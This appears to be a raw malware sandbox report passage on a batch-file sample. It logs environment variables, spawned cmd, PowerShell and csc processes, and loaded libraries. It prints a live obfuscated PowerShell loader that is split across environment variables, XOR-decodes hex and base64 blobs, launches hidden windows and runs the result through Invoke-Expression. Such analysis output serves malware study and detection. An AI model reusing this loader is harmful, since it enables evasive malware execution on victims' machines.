"USERDNSDOMAIN="6zncnDKKkPorgmF"" Process "cmd.exe" (UID: 00000000-00003572) was launched with modified environment variables: "NUMBER_OF_PROCESSORS" Process "powershell.exe" (UID: 00000000-00005088) was launched with new environment variables: "DGNJODDDFD="xVRcCKBZ ''$dMWc1oD74'' ''''));$dMWc1oD74oldR='''';$i=0;for($j=", DIOGNGNNIU="$dMWc1oD74+=[byte]($c-bxor0xAA)};$z4X30pe=$dMWc1oD74;$dMWc1oD", JONDNSINNI="0;$j-lt$dMWc1oD74oldB.Length;$j++){$dMWc1oD74oldR+=[char]($dMWc1oD74oldB[$j", FJGODHGDIN="893f8828aada9be899ef59fe3fabbf2'';$xVRcCKBZ=''ICc0JBBYC2N+dzJgRERWDDJ/WWIQfgti", GKOIGNHNDG="DDMnASRQAQFPMi4Hd1AJAVAmWDJ8TFULYXVgCX1dT0J5ITkzTXIZC2N+dzVtRkh", SKJIDNGIJI="LQzMnATAdDEhFb2AOPggddnBaJEYyFAZ3cCU9TjceHgwYJ0YoXQofAg1gDmw5FAVCQ30jWz", NIKISJKDNG="%WINDIR%\System32\WindowsPowerShell\v1.0\powershell.exe -Command "St", NODDGOOGDI="INMjhCdglIQww6Jwg3fVJ2UHp3D3odWn5leHcPb1VVSlZGOVxaRkREUH5KCGp", OODGOFJFGS="gg7JFY+FA0FA2M1Uj4dLC8EOyNGXlFVCHRpbAV8R1JZV3RxEjl3cXAENmcDalddVkF3ZgV", JGODKDFDNO="a9ead6f193c2a9e8eee6c398c1a8bbbcb7b883a9aa8ab1ba9d8d90b3e0a4fabde8", DONDFINIIJ="PllYVVZ0ZBR4WQ9tS3ZmA2oTAQJWbm0VahMBZQw/ZAF/GAEBSDcjQT4YAQJpaGETcFhFA", NFSJDFGSFS="e3fabbf7c088b5c2a6f2feabd9bcb1cfe2a5fea2d9a7c98eaab0aeb489bbf892ae83e0e1a", GDNONDNJFG="kt2LFc3XlFCAzIvTj5cVVFUISxJKAQWCxUsMEgrEwEOBDwxUTcNGApNdmRJKBpLVUM8Kk8UPkhD", DDOODIDDOO="b791a6e0a49fbb8295d4a6ced6be8bb78d899edeb0a1ba9db7929ef395acbd928d8d9ede8aa19", GIDIDIOGIN="indowStyle Hidden -ArgumentList '-Command \"$j=92-52;$xdwMRWE=''NV3Latpq''", OGGOFDFNDN="aca7ba928d9d9ef0a489bd9299a19eabd7a3bf8def91adaab0b2bdb78d9198dcb4bdbc8d9d94", FIHOOIGGDI="79d9597a5c1a8b1979c998ba5ced3fbbce8eaaca5c1b4a7bbe999d5a5f49ebb8", GNDFDUFFNG="8bb89998baccca0b1bde88d90a5f49efe92b1bf8898dcb0ff848d95d598de8abe8", IUISGISFIO="83adb7b4b29095f688ebf6818f8184edc88eb0b9b48095f78196e4e08eb0baa1c88cbbae88908e", DINGJGNIFG="daefbaa99edc89cbbb8988895fc88bfe5f29c8188b4b4aab0beb489dcbd8aebf399b4", FFSFKFJDID="7a3999e98dea0fbbf8d9683adc1a8b1848dea8d9ed18dac8a9de28ca6dca", KFNHKJGFOU="cBflIPdlF5cBJrXU9CDCsvRj1TRkMKV2YIfkBJBQk7MlQwOSsBSDs+Rj4EBgUfFglGO", GSSUDNOJFN="]-bxor$vM9zbd0[$i++%$vM9zbd0.Length])};$j3Ztrqpsu=$dMWc1oD74oldR;$hX", OSGIOJGUIN="CVgQEI0=$uox2SvXt5+$j3Ztrqpsu;.($env:ComSpec[4,26,25]-join'''') $hXCV", PROMPT="$P$G", HIUKDIFGFF="f088acf681988b92ef83b9aa87e1debaeb89a69cbba881caadb5bfacb3b583d4b", IUDIFIGIGG="bm8KV1VMQAQ2Zhc5EFVYHz9tWz1mD2JBb04DbVxOQQw/bkoxb3NAQndmBW1dTksKW", JFNJFGOGFJ="3fa89a7fee7fbbfb2fc92e58dbfb8918ef092b28ea8b49093fa89a78aa3ab81a1a3dc9fb2", DIFSDIKSJI="2a8aeaaf488818eef8fa8bb8ab48d92edabaab0bbbc818ec4dcf18dbfb8918ef092b28ea8b4909", OOUFDFDDIJ="T7BZ.Length;$j+=2){$dMWc1oD74oldR+=[char](([Convert]::ToInt32($li8WT7B", SJOOODDOJO="4ea9d9e9fabb0bf87b7a3d1b7da8dfc979db789b7de81ac978eea9198ce9eb89582afddb5d1", GINGNGIFNG="gQEI0"'"", JGUJDHNDIN="Z.Substring($j,2) 16))-bxor$z4X30pe[$i++%$z4X30pe.Length])};$uox2SvXt5=$dMWc1o", HGDGONGNDO="9192edc6efb2f4988b89f792e2a2ffa0908ee09db9bbaeae9692b9c2bcf09eb49392f589aa", DIGIGODNFN="ba9eba909db1c294f7a7b88588fa8eb0a3a7a6e9f6ff93a5bdaeb28b92b98f", NGJGDGIJGN="AQEtHfitCSx1cHgB1LS93Qk5OQTMnCTUQUQxZFglrExBKGGQzK0FxQFUCBDAjQWkODgpeYm0PdFMPR", UDFFDKDGGN="0b1bde88d90a5f49efe959d91d198deb0a98689998ab7c19289bde995889eceacb", OIIUGJUGSN="WoIfV1PQmJ3YgFqaQZ1UXlvD3oYb0pKS3YEdV1CCXdvYhJwVw1sSmh3B3dXRA", DFSIJFOUFO=";$li8WT7BZ=''e9f6ca92aaacaef6b790fc83bbfef788819ff688afadfae8e9f6c", JFIGOKGIGF="kTVV1QNWcDX3VHY0A0O0khAA8RFiktXzcCEBcLNDkBalJKQkJzZRV/R0UCBCAjQn5TRwUZOy", GOGFGJFGJG="9ef0d386bce89d8fb7de85bb91e9eadddb94ec8ababef6b085e983ebf38ea29499dd", ISSJOJIJGG="tFAxDTWlwEjkBXUNQO00HdFENZnROIxsUPiwvBDsjRjkUAQUEOw=='';$aCAWnrhG3=", JNUGJFNIDN="74=@();foreach($c in [char[]]$xdwMRWE){$dMWc1oD74+=[byte]($c-bxor0x5", HGNHHHGIGO="RQBTAQzWCV2WldAVm9eXCNyU0pJWWIVfAIVdlBpagh+HAVoRW9gDnxHehR5MipG", FGSJSKDDNN="art-Process $env:SystemRoot\System32\WindowsPowerShell\v1.0\powershell.exe -W", JGIFDDGKNI="D74oldR;$dMWc1oD74oldB=[Convert]::FromBase64String([regex]::Replace($", GIIGKDJGGN="0x223A-0x261F;$dMWc1oD74=@();foreach($c in [char[]]$xdwMRWE){", IUOHIJHDHD="d84fdeaf3f2cdf19380beb0b9af8d93f7c6aff6feb7cd87bd91f690bfacc9b3fb8caeb", GHOOGIOOHS="5)};$vM9zbd0=$dMWc1oD74;$dMWc1oD74oldR='''';$i=0;for($j=0;$j-lt$li8W"", Process "powershell.exe" (UID: 00000000-00000864) was launched with modified environment variables: "PSModulePath, PATHEXT" Process "csc.exe" (UID: 00000000-00007936) was launched with new environment variables: "ghoogioohs="5)};$vM9zbd0=$dMWc1oD74;$dMWc1oD74oldR='''';$i=0;for($j=0;$j-lt$li8W", computername="6zncnDKKkPorgmF", gididiogin="indowStyle Hidden -ArgumentList '-Command \"$j=92-52;$xdwMRWE=''NV3Latpq''", pathext=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.CPL", path="C:\Program Files (x86)\Common Files\Oracle\Java\javapath;%WINDIR%\system32;%WINDIR%\%WINDIR%\System32\Wbem;%WINDIR%\System32\WindowsPowerShell\v1.0\;%WINDIR%\System32\OpenSSH\;%NVM_HOME%;%NVM_SYMLINK%;%APPDATA%\nvm;C:\Program Files\nodejs", dingjgnifg="daefbaa99edc89cbbb8988895fc88bfe5f29c8188b4b4aab0beb489dcbd8aebf399b4", comspec="%WINDIR%\system32\cmd.exe", tmp="%LOCALAPPDATA%\Temp", diogngnniu="$dMWc1oD74+=[byte]($c-bxor0xAA)};$z4X30pe=$dMWc1oD74;$dMWc1oD", jnugjfnidn="74=@();foreach($c in [char[]]$xdwMRWE){$dMWc1oD74+=[byte]($c-bxor0x5", iuohijhdhd="d84fdeaf3f2cdf19380beb0b9af8d93f7c6aff6feb7cd87bd91f690bfacc9b3fb8caeb", sslkeylogfile="%TEMP%\sslkey.txt", userprofile="C:\Users\bMHCYvt", jgujdhndin="Z.Substring($j,2) 16))-bxor$z4X30pe[$i++%$z4X30pe.Length])};$uox2SvXt5=$dMWc1o", programfiles="C:\Program Files", nikisjkdng="%WINDIR%\System32\WindowsPowerShell\v1.0\powershell.exe -Command "St" processor_level="6" dondfiniij="PllYVVZ0ZBR4WQ9tS3ZmA2oTAQJWbm0VahMBZQw/ZAF/GAEBSDcjQT4YAQJpaGETcFhFA" gingngifng="gQEI0"'"", osgiojguin="CVgQEI0=$uox2SvXt5+$j3Ztrqpsu;.($env:ComSpec[4,26,25]-join'''') $hXCV", userdomain_roamingprofile="DESKTOP-8LD9T6N", commonprogramfiles(x86)="%PROGRAMFILES%\(x86)\Common Files", processor_architecture="AMD64", logonserver="\\DESKTOP-8LD9T6N", ffsfkfjdid="7a3999e98dea0fbbf8d9683adc1a8b1848dea8d9ed18dac8a9de28ca6dca", nvm_symlink="%PROGRAMFILES%\nodejs", ooufdfddij="T7BZ.Length;$j+=2){$dMWc1oD74oldR+=[char](([Convert]::ToInt32($li8WT7B", gdnondnjfg="kt2LFc3XlFCAzIvTj5cVVFUISxJKAQWCxUsMEgrEwEOBDwxUTcNGApNdmRJKBpLVUM8Kk8UPkhD", oggofdfndn="aca7ba928d9d9ef0a489bd9299a19eabd7a3bf8def91adaab0b2bdb78d9198dcb4bdbc8d9d94", jondnsinni="0;$j-lt$dMWc1oD74oldB.Length;$j++){$dMWc1oD74oldR+=[char]($dMWc1oD74oldB[$j", jfnjfgogfj="3fa89a7fee7fbbfb2fc92e58dbfb8918ef092b28ea8b49093fa89a78aa3ab81a1a3dc9fb2", fjgodhgdin="893f8828aada9be899ef59fe3fabbf2'';$xVRcCKBZ=''ICc0JBBYC2N+dzJgRERWDDJ/WWIQfgti", programdata="C:\ProgramData", nvm_home="%APPDATA%\nvm", digigodnfn="ba9eba909db1c294f7a7b88588fa8eb0a3a7a6e9f6ff93a5bdaeb28b92b98f", ngjgdgijgn="AQEtHfitCSx1cHgB1LS93Qk5OQTMnCTUQUQxZFglrExBKGGQzK0FxQFUCBDAjQWkODgpeYm0PdFMPR", programfiles(x86)="%PROGRAMFILES%\(x86)", psmodulepath="C:\Users\bMHCYvt\Documents\WindowsPowerShell\Modules;%PROGRAMFILES%\(x86)\WindowsPowerShell\Modules;%PROGRAMFILES%\WindowsPowerShell\Modules;%WINDIR%\system32\WindowsPowerShell\v1.0\Modules;%PROGRAMFILES%\(x86)\AutoIt3\AutoItX", udffdkdggn="0b1bde88d90a5f49efe959d91d198deb0a98689998ab7c19289bde995889eceacb", sjoooddojo="4ea9d9e9fabb0bf87b7a3d1b7da8dfc979db789b7de81ac978eea9198ce9eb89582afddb5d1", onedrive="%USERPROFILE%\OneDrive", systemdrive="C:", programw6432="C:\Program Files", hgnhhhgigo="RQBTAQzWCV2WldAVm9eXCNyU0pJWWIVfAIVdlBpagh+HAVoRW9gDnxHehR5MipG", commonprogramfiles="%PROGRAMFILES%\Common Files", homedrive="C:", issjojijgg="tFAxDTWlwEjkBXUNQO00HdFENZnROIxsUPiwvBDsjRjkUAQUEOw=='';$aCAWnrhG3=", homepath="\Users\bMHCYvt", sessionname="Console", gkoignhndg="DDMnASRQAQFPMi4Hd1AJAVAmWDJ8TFULYXVgCX1dT0J5ITkzTXIZC2N+dzVtRkh", gndfduffng="8bb89998baccca0b1bde88d90a5f49efe92b1bf8898dcb0ff848d95d598de8abe8", processor_revision="4f00", oiiugjugsn="WoIfV1PQmJ3YgFqaQZ1UXlvD3oYb0pKS3YEdV1CCXdvYhJwVw1sSmh3B3dXRA", iuisgisfio="83adb7b4b29095f688ebf6818f8184edc88eb0b9b48095f78196e4e08eb0baa1c88cbbae88908e", driverdata="%WINDIR%\System32\Drivers\DriverData", localappdata="%USERPROFILE%\AppData\Local", skjidngiji="LQzMnATAdDEhFb2AOPggddnBaJEYyFAZ3cCU9TjceHgwYJ0YoXQofAg1gDmw5FAVCQ30jWz", kfnhkjgfou="cBflIPdlF5cBJrXU9CDCsvRj1TRkMKV2YIfkBJBQk7MlQwOSsBSDs+Rj4EBgUfFglGO", iudifigigg="bm8KV1VMQAQ2Zhc5EFVYHz9tWz1mD2JBb04DbVxOQQw/bkoxb3NAQndmBW1dTksKW", curl_ca_bundle="%USERPROFILE%\.mitmproxy\mitmproxy-ca-cert.cer", gssudnojfn="]-bxor$vM9zbd0[$i++%$vM9zbd0.Length])};$j3Ztrqpsu=$dMWc1oD74oldR;$hX", number_of_processors="8", noddgoogdi="INMjhCdglIQww6Jwg3fVJ2UHp3D3odWn5leHcPb1VVSlZGOVxaRkREUH5KCGp", ddoodiddoo="b791a6e0a49fbb8295d4a6ced6be8bb78d899edeb0a1ba9db7929ef395acbd928d8d9ede8aa19", userdnsdomain="6zncnDKKkPorgmF", dgnjodddfd="xVRcCKBZ, ''$dMWc1oD74'', ''''));$dMWc1oD74oldR='''';$i=0;for($j=", difsdiksji="2a8aeaaf488818eef8fa8bb8ab48d92edabaab0bbbc818ec4dcf18dbfb8918ef092b28ea8b4909", processor_identifier="Intel64 Family 6 Model 79 Stepping 0, GenuineIntel", nfsjdfgsfs="e3fabbf7c088b5c2a6f2feabd9bcb1cfe2a5fea2d9a7c98eaab0aeb489bbf892ae83e0e1a", fihooiggdi="79d9597a5c1a8b1979c998ba5ced3fbbce8eaaca5c1b4a7bbe999d5a5f49ebb8", hgdgongndo="9192edc6efb2f4988b89f792e2a2ffa0908ee09db9bbaeae9692b9c2bcf09eb49392f589aa", systemroot="C:\WINDOWS", userdomain="6zncnDKKkPorgmF", commonprogramw6432="%PROGRAMFILES%\Common Files", allusersprofile="C:\ProgramData", public="C:\Users\Public", giigkdjggn="0x223A-0x261F;$dMWc1oD74=@();foreach($c in [char[]]$xdwMRWE){", jfigokgigf="kTVV1QNWcDX3VHY0A0O0khAA8RFiktXzcCEBcLNDkBalJKQkJzZRV/R0UCBCAjQn5TRwUZOy", jgodkdfdno="a9ead6f193c2a9e8eee6c398c1a8bbbcb7b883a9aa8ab1ba9d8d90b3e0a4fabde8", temp="%LOCALAPPDATA%\Temp", os="Windows_NT", fgsjskddnn="art-Process $env:SystemRoot\System32\WindowsPowerShell\v1.0\powershell.exe -W", jgifddgkni="D74oldR;$dMWc1oD74oldB=[Convert]::FromBase64String([regex]::Replace($", oodgofjfgs="gg7JFY+FA0FA2M1Uj4dLC8EOyNGXlFVCHRpbAV8R1JZV3RxEjl3cXAENmcDalddVkF3ZgV", hiukdifgff="f088acf681988b92ef83b9aa87e1debaeb89a69cbba881caadb5bfacb3b583d4b", prompt="$P$G", _clrrestrictsecattributes="1", dfsijfoufo=";$li8WT7BZ=''e9f6ca92aaacaef6b790fc83bbfef788819ff688afadfae8e9f6c", gogfgjfgjg="9ef0d386bce89d8fb7de85bb91e9eadddb94ec8ababef6b085e983ebf38ea29499dd", appdata="%USERPROFILE%\AppData\Roaming", username="bMHCYvt"" Process "csc.exe" (UID: 00000000-00007936) was launched with missing environment variables: "NVM_SYMLINK, SSLKEYLOGFILE, DIOGNGNNIU, SESSIONNAME, ALLUSERSPROFILE, SystemDrive, NIKISJKDNG, USERNAME, ProgramFiles(x86), DONDFINIIJ, GDNONDNJFG, PATHEXT, DriverData, GIDIDIOGIN, FIHOOIGGDI, HOMEPATH, PROCESSOR_IDENTIFIER, DINGJGNIFG, ProgramFiles, PUBLIC, FFSFKFJDID, GSSUDNOJFN, PROMPT, JFNJFGOGFJ, DIFSDIKSJI, OOUFDFDDIJ, SJOOODDOJO, OneDrive, APPDATA, JGUJDHNDIN, DIGIGODNFN, NGJGDGIJGN, Path, UDFFDKDGGN, COMPUTERNAME, ComSpec, HGNHHHGIGO, IUOHIJHDHD, HOMEDRIVE, NUMBER_OF_PROCESSORS, DGNJODDDFD, USERDOMAIN_ROAMINGPROFILE, PROCESSOR_LEVEL, JONDNSINNI, FJGODHGDIN, PROCESSOR_ARCHITECTURE, GKOIGNHNDG, PSModulePath, SKJIDNGIJI, NODDGOOGDI, USERDNSDOMAIN, OODGOFJFGS, JGODKDFDNO, NFSJDFGSFS, CURL_CA_BUNDLE, DDOODIDDOO, OGGOFDFNDN, GNDFDUFFNG, IUISGISFIO, ProgramData, ProgramW6432, KFNHKJGFOU, LOCALAPPDATA, OSGIOJGUIN, USERDOMAIN, LOGONSERVER, HIUKDIFGFF, IUDIFIGIGG, GINGNGIFNG, HGDGONGNDO, CommonProgramFiles, OIIUGJUGSN, DFSIJFOUFO, OS, JFIGOKGIGF, GOGFGJFGJG, NVM_HOME, PROCESSOR_REVISION, CommonProgramW6432, ISSJOJIJGG, JNUGJFNIDN, FGSJSKDDNN, JGIFDDGKNI, GIIGKDJGGN, SystemRoot, TEMP, USERPROFILE, GHOOGIOOHS, TMP, CommonProgramFiles(x86)"3f:T1386,Observed system executable string:"C:\> "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /t:library /utf8output /R:"System.dll" /R:"C:\WINDOWS\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" /R:"System.Core.dll" /out:"C:\Users\bMHCYvt\AppData\Local\Temp\u2nd3ci3\u2nd3ci3.dll" /debug- /optimize+ /warnaserror /optimize+ "C:\Users\bMHCYvt\AppData\Local\Temp\u2nd3ci3\u2nd3ci3.0.cs"Microsoft (R) Visual C# Compiler version 4.8.9032.0for C# 5Copyright (C) Microsoft Corporation. All rights reserved.This compiler is provided as part of the Microsoft (R) .NET Framework, but only supports language versions up to C# 5, which is no longer the latest version. For compilers that support newer versions of the C# programming language, see http://go.microsoft.com/fwlink/?LinkID=533240" [Source: u2nd3ci3.out] Observed system executable string:"/t:library /utf8output /R:"System.dll" /R:"C:\WINDOWS\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" /R:"System.Core.dll" /out:"C:\Users\bMHCYvt\AppData\Local\Temp\u2nd3ci3\u2nd3ci3.dll" /debug- /optimize+ /warnaserror /optimize+ "C:\Users\bMHCYvt\AppData\Local\Temp\u2nd3ci3\u2nd3ci3.0.cs"" [Source: u2nd3ci3.cmdline] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoreei.dll" [Source: 00000000-00007312-00000C2D-2561039161] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\clr.dll" [Source: 00000000-00007312-00000C2A-3466812808] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoree.dll" [Source: 00000000-00007312-00000C2A-3467033751] Observed system executable string:"%WINDIR%\system32\combase.dll" [Source: 00000000-00007312-00000C2A-3467146488] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_64\mscorlib\3b9003e4f27d92e40668f0efad11e022\mscorlib.ni.dll" [Source: 00000000-00007312-00000C2A-3467445337] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\ole32.dll" [Source: 00000000-00007312-00000C2A-3467497996] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll" [Source: 00000000-00007312-00000C2A-3467588466] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\clrjit.dll" [Source: 00000000-00007312-00000C2A-3467917481] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_64\System\ce0fd4f5b50baa17e7b80e4ee874ad11\System.ni.dll" [Source: 00000000-00007312-00000C2A-3467981886] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Core\990501e6199819806f01c8ecac88baac\System.Core.ni.dll" [Source: 00000000-00007312-00000C2A-3468038422] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll" [Source: 00000000-00005088-00000C2A-3474716700] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\OLEAUT32.dll" [Source: 00000000-00005088-00000C2A-3474981530] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\combase.dll" [Source: 00000000-00005088-00000C2A-3475320851] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-string-l1-1-0.dll" [Source: 00000000-00005088-00000C2A-3475498459] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll" [Source: 00000000-00005088-00000C2A-3476196043] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll" [Source: 00000000-00005088-00000C2A-3476201583] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en-US\mscorrc.dll" [Source: 00000000-00005088-00000C2A-3476736180] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wintrust.dll" [Source: 00000000-00005088-00000C2A-3476758987] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en\mscorrc.dll" [Source: 00000000-00005088-00000C2A-3476834069] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll" [Source: 00000000-00005088-00000C2A-3477709198] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll" [Source: 00000000-00005088-00000C2A-3477795053] Observed system executable string:"%WINDIR%\system32\version.dll" [Source: 00000000-00005088-00000C2A-3478242027] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\crypt32.dll" [Source: 00000000-00005088-00000C2A-3478392436]40:T12a2,Spawned process "cmd.exe" with commandline "/C "%TEMP%\\31de4d1b-7e67-46ca-b7ba-c05ce3546d4a.bat"" (UID: 00000000-00003572) Spawned process "powershell.exe" with commandline "C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\powershell.exe ..." (UID: 00000000-00005088) Spawned process "powershell.exe" with commandline "-Command "$j=92-52;$xdwMRWE='NV3Latpq';$li8WT7BZ='e9f6ca92aaacae ..." (UID: 00000000-00000864, Additional Context: "foreach($c in [char[]]NV3Latpq){@()+=[byte]($c-bxor0xAA)}@()=@()foreach($c in [char[]]NV3Latpq){@()+=[byte]($c-bxor0x55)}for(92 -52=092 -52-lte9f6ca92aaacaef6b790fc83bbfef788819ff688afadfae8e9f6c2a8aeaaf488818eef8fa8bb8ab48d92edabaab0bbbc818ec4dcf18dbfb8918ef092b28ea8b49093fa89a7fee7fbbfb2fc92e58dbfb8918ef092b28ea8b49093fa89a78aa3ab81a1a3dc9fb2a9ead6f193c2a9e8eee6c398c1a8bbbcb7b883a9aa8ab1ba9d8d90b3e0a4fabde8b791a6e0a49fbb8295d4a6ced6be8bb78d899edeb0a1ba9db7929ef395acbd928d8d9ede8aa1979d9597a5c1a8b1979c998ba5ced3fbbce8eaaca5c1b4a7bbe999d5a5f49ebb87a3999e98dea0fbbf8d9683adc1a8b1848dea8d9ed18dac8a9de28ca6dca0b1bde88d90a5f49efe959d91d198deb0a98689998ab7c19289bde995889eceacb8bb89998baccca0b1bde88d90a5f49efe92b1bf8898dcb0ff848d95d598de8abe84ea9d9e9fabb0bf87b7a3d1b7da8dfc979db789b7de81ac978eea9198ce9eb89582afddb5d1aca7ba928d9d9ef0a489bd9299a19eabd7a3bf8def91adaab0b2bdb78d9198dcb4bdbc8d9d949ef0d386bce89d8fb7de85bb91e9eadddb94ec8ababef6b085e983ebf38ea29499dd83adb7b4b29095f688ebf6818f8184edc88eb0b9b48095f78196e4e08eb0baa1c88cbbae88908ef088acf681988b92ef83b9aa87e1debaeb89a69cbba881caadb5bfacb3b583d4bd84fdeaf3f2cdf19380beb0b9af8d93f7c6aff6feb7cd87bd91f690bfacc9b3fb8caebdaefbaa99edc89cbbb8988895fc88bfe5f29c8188b4b4aab0beb489dcbd8aebf399b49192edc6efb2f4988b89f792e2a2ffa0908ee09db9bbaeae9692b9c2bcf09eb49392f589aaba9eba909db1c294f7a7b88588fa8eb0a3a7a6e9f6ff93a5bdaeb28b92b98fe3fabbf7c088b5c2a6f2feabd9bcb1cfe2a5fea2d9a7c98eaab0aeb489bbf892ae83e0e1a893f8828aada9be899ef59fe3fabbf2.Length92 -52+=2){''+=[char](([Convert]::ToInt32(e9f6ca92aaacaef6b790fc83bbfef788819ff688afadfae8e9f6c2a8aeaaf488818eef8fa8bb8ab48d92edabaab0bbbc818ec4dcf18dbfb8918ef092b28ea8b49093fa89a7fee7fbbfb2fc92e58dbfb8918ef092b28ea8b49093fa89a78aa3ab81a1a3dc9fb2a9ead6f193c2a9e8eee6c398c1a8bbbcb7b883a9aa8ab1ba9d8d90b3e0a4fabde8b791a6e0a49fbb8295d4a6ced6be8bb78d899edeb0a1ba9db7929ef395acbd928d8d9ede8aa1979d9597a5c1a8b1979c998ba5ced3fbbce8eaaca5c1b4a7bbe999d5a5f49ebb87a3999e98dea0fbbf8d9683adc1a8b1848dea8d9ed18dac8a9de28ca6dca0b1bde88d90a5f49efe959d91d198deb0a98689998ab7c19289bde995889eceacb8bb89998baccca0b1bde88d90a5f49efe92b1bf8898dcb0ff848d95d598de8abe84ea9d9e9fabb0bf87b7a3d1b7da8dfc979db789b7de81ac978eea9198ce9eb89582afddb5d1aca7ba928d9d9ef0a489bd9299a19eabd7a3bf8def91adaab0b2bdb78d9198dcb4bdbc8d9d949ef0d386bce89d8fb7de85bb91e9eadddb94ec8ababef6b085e983ebf38ea29499dd83adb7b4b29095f688ebf6818f8184edc88eb0b9b48095f78196e4e08eb0baa1c88cbbae88908ef088acf681988b92ef83b9aa87e1debaeb89a69cbba881caadb5bfacb3b583d4bd84fdeaf3f2cdf19380beb0b9af8d93f7c6aff6feb7cd87bd91f690bfacc9b3fb8caebdaefbaa99edc89cbbb8988895fc88bfe5f29c8188b4b4aab0beb489dcbd8aebf399b49192edc6efb2f4988b89f792e2a2ffa0908ee09db9bbaeae9692b9c2bcf09eb49392f589aaba9eba909db1c294f7a7b88588fa8eb0a3a7a6e9f6ff93a5bdaeb28b92b98fe3fabbf7c088b5c2a6f2feabd9bcb1cfe2a5fea2d9a7c98eaab0aeb489bbf892ae83e0e1a893f8828aada9be899ef59fe3fabbf2.Substring(92 -52,2),16))-bxor@()[$i++%@().Length])}@()oldB=FromBase64String([regex]::Replace(ICc0JBBYC2N+dzJgRERWDDJ/WWIQfgtibm8KV1VMQAQ2Zhc5EFVYHz9tWz1mD2JBb04DbVxOQQw/bkoxb3NAQndmBW1dTksKWWoIfV1PQmJ3YgFqaQZ1UXlvD3oYb0pKS3YEdV1CCXdvYhJwVw1sSmh3B3dXRAINMjhCdglIQww6Jwg3fVJ2UHp3D3odWn5leHcPb1VVSlZGOVxaRkREUH5KCGpAQEtHfitCSx1cHgB1LS93Qk5OQTMnCTUQUQxZFglrExBKGGQzK0FxQFUCBDAjQWkODgpeYm0PdFMPRkt2LFc3XlFCAzIvTj5cVVFUISxJKAQWCxUsMEgrEwEOBDwxUTcNGApNdmRJKBpLVUM8Kk8UPkhDDDMnASRQAQFPMi4Hd1AJAVAmWDJ8TFULYXVgCX1dT0J5ITkzTXIZC2N+dzVtRkhLQzMnATAdDEhFb2AOPggddnBaJEYyFAZ3cCU9TjceHgwYJ0YoXQofAg1gDmw5FAVCQ30jWzkTVV1QNWcDX3VHY0A0O0khAA8RFiktXzcCEBcLNDkBalJKQkJzZRV/R0UCBCAjQn5TRwUZOycBflIPdlF5cBJrXU9CDCsvRj1TRkMKV2YIfkBJBQk7MlQwOSsBSDs+Rj4EBgUfFglGORQBTAQzWCV2WldAVm9eXCNyU0pJWWIVfAIVdlBpagh+HAVoRW9gDnxHehR5MipGPllYVVZ0ZBR4WQ9tS3ZmA2oTAQJWbm0VahMBZQw/ZAF/GAEBSDcjQT4YAQJpaGETcFhFAgg7JFY+FA0FA2M1Uj4dLC8EOyNGXlFVCHRpbAV8R1JZV3RxEjl3cXAENmcDalddVkF3ZgVtFAxDTWlwEjkBXUNQO00HdFENZnROIxsUPiwvBDsjRjkUAQUEOw==, '@()', ''));''=''for(92 -52=092 -52-lt$dMWc1oD74oldB.Length92 -52++){''+=[char]($dMWc1oD74oldB[92 -52]-bxor@()[$i++%@().Length])}.('C:\WINDOWS\system32\cmd.exe'[4,26,25]-join'') '';"), Spawned process "csc.exe" with commandline "/noconfig /fullpaths @"%TEMP%\\u2nd3ci3\\u2nd3ci3.cmdline"" (UID: 00000000-00007936), Spawned process "cvtres.exe" with commandline "/NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\\RESE34.tmp" "%TEMP ..." (UID: 00000000-00008012)41:T12a2,Spawned process "cmd.exe" with commandline "/C "%TEMP%\\31de4d1b-7e67-46ca-b7ba-c05ce3546d4a.bat"" (UID: 00000000-00003572) Spawned process "powershell.exe" with commandline "C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\powershell.exe ..." (UID: 00000000-00005088) Spawned process "powershell.exe" with commandline "-Command "$j=92-52;$xdwMRWE='NV3Latpq';$li8WT7BZ='e9f6ca92aaacae ..." (UID: 00000000-00000864, Additional Context: "foreach($c in [char[]]NV3Latpq){@()+=[byte]($c-bxor0xAA)}@()=@()foreach($c in [char[]]NV3Latpq){@()+=[byte]($c-bxor0x55)}for(92 -52=092 